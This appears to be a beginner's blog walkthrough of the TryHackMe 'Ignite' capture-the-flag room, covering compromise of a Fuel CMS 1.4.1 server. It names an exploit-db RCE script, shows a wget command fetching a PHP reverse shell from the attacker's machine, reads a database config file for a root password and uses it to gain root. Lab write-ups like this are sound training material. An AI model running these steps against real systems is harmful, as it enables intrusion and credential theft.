Ignite TryHackMe WriteUp/Walkthrough

This is a beginner-friendly guide explaining the Ignite room on TryHackMe, including detailed walkthrough and solutions.

TryHackMe | Ignite

after connecting to the VPN lets run a nmap scan, here is the result :

HTTP is open lets check it on the website

the website is made using fuel cms . by scrolling down we can see this details:

its working and i found a page to upload files. letss try to upload reverse shell file 😉.

browse the file and upload it

php reverse shell uploading is not working.

we know the version of the fuel cms is 1.4.1. we have to check now is there any vulnerablity available in that version so checked in exploit-db for scripts.

lets try these 3 remote code executions

https://www.exploit-db.com/exploits/50477

and 50477.py worked for me, this is how it should use:

this shell have limited capablities so lets try to take reverse shell from there.

Get xer’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

lets try uploading reverse shell using python http.server

take the reverse.php file from here and edit the ip address to your vpn ip:

php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell

use wget to get the file

$wget http://10.18.29.118:8000/reverse.php

lets visit the reverse shell file like this before the visit you need to listen the port you mentioned like this:

its worked

now we got the real shell!!

the first flag is in :

cat /home/www-data/flag.txt

now we dont have the permission visit /root or we cannot escalate the user

lets check for the password for root. here we can find some database credentials:

cat /var/www/html/fuel/application/config/database.php

  'username' => 'root',
        'password' => 'mememe',

lets see can we escalate to root using this credentials👀 lets check ‘su root’ is working

yes ofcourse it is working

the final flag is in :

cat /root/root.txt

thank you for checking this writeup.

your regards,

xer